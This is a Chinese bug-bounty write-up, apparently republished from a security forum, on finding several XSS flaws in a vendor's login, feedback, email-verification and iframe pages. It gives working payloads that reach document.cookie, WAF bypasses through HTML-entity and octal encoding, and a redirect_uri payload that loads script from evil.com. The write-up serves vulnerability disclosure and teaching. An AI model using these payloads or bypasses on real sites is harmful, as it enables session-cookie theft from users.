最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。SuperTags:https://github.com/Hpd0ger/SuperTags
某处登陆页面看了眼表单,同时跟进事件绑定的对象utils
直接截出登陆验证部分,redata是响应参数,登陆成功为0。host定义为normal.com。(但之前我登陆的时候并没有察觉,因为是后台有个功能loginout,点击才会附带cb参数到登录页)
getParam: function(c_name) {
var urlParams = location.href;
var c_start = urlParams.indexOf(c_name + "=");銆€
if (c_start != -1) {
c_start = c_start + c_name.length + 1;銆€
c_end = urlParams.indexOf("&", c_start);
if (c_end == -1) {
c_end = urlParams.length;
}
return urlParams.substring(c_start, c_end);
}else{
return null;
}
},
cb=javascript:alert(document.cookie);//normal.com
这是该厂商的一个移动端业务,在我测之前已经有表哥X进去了,看一下这个洞是如何产生的。
上传图片->提交反馈->服务端拼接提交的img参数(uri)为img标签src属性的完整地址
测试上传一个图片后,点击提交反馈并抓包,imglist参数是刚才上传图片返回的uri地址。POST xxxx?q=index/feedback HTTP/1.1imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&
问题就出在拼接标签这部分,修改imglist参数就可以闭合Src属性进行xss,使最终的img标签执行onerror事件步骤:抓包修改img路径->拼接恶意js事件,POC:imglist=urlencode(" onerror="alert(`XSS�`)">
在测试某业务的邮箱密码验证时,发现一个包含请求邮箱的页面。记得之前看过一篇文章,有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS,感觉就是这种了。
随手测试了一下,发现直接waf了空格、双引号、尖括号,和"\"。实体了html编码的尖括号,但是没有实体html编码的双引号。
同时在FUZZ的期间多次出现参数错误的请求,发现可能是应用层做了些过滤:
- 正则alert(1)\prompt(1)\confim...
不过只要脱离引号就好说,毕竟有很多JS事件可以调。一开始把眼光放在了input标签上测试了一些on事件,发现type是hidden,一些可视on事件都没用的。记得之前看过一个input hidden xss的一个用法是按alt+shift+x触发,poc如下urlencode(email="/accesskey="X"/onclick="alert('xss')&#[email protected])
但是这个poc很鸡肋。因为要打出cookie的话长度受限,且利用条件苛刻(firefox+按键)
回头看了下发现有form标签也有输出点,最初以为form能执行的JS事件就只有reset和submit,后来测试跑onmounseover也能弹框。encodeurl(email="/onmouseover="alert(document.cookie)&#[email protected])
iframe的src拼接url参数+后端给定的第三方host->iframe加载src测试了一下特殊字符都给实体化了,但是又舍不得一个iframe
经过一番寻找,发现第三方服务的登陆点存在JS跳转漏洞,用iframe加载这个第三方服务的dom-xss也能造成弹框效果
虽然是在SRC业务站点弹的框,但真正的域应该是子页面的。打印一下COOKIE验证,果然是子页面域的cookie。由于waf掉了document.cookie和javascript:alert,我用了html编码的':'和八进制js编码的'.'绕过,完整打印子页面域payload如下https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)
1.尝试跳一个外域的JS,看能不能把src属性转到这个jshttps://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
但是会把资源解析到子页面的document里,而不是src的改变2.iframe是否能调用父页面的事件呢(document)?如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为,当时寻思既然站点调用这个三方服务了,很大可能性这个三方站是iframe-src白名单。https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)
从打ctf到学着去挖洞,还是有一些思维出入的地方,慢慢理解之前师傅们说的资产收集的重要性。(如果你还不知道如何信息搜集,获取更多目标资产,文章开头扫码,领相关视频)也特别感谢引路人鬼麦子师傅给予的帮助,这里顺便推荐麦子师傅基于爬虫的一款开源子域名监控工具get_domain(https://github.com/guimaizi/get_domain)在搭建过程中如果遇到环境配置问题,可以参考这篇Ubuntu16.04-Get_domain搭建手册:http://33h.co/w4gms作者:先知社区-hpdoger
原文地址:https://xz.aliyun.com/t/4625
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.
如有侵权,请联系删除
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看”
文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247500383&idx=3&sn=6f6eb7f94f103f3fe75506ac45983fd0&chksm=c04d4561f73acc770c3ddfb5c6ceffeed6127e92d54de823a1ae71306471a9dc3dff46a54893#rd
如有侵权请联系:admin#unsafe.sh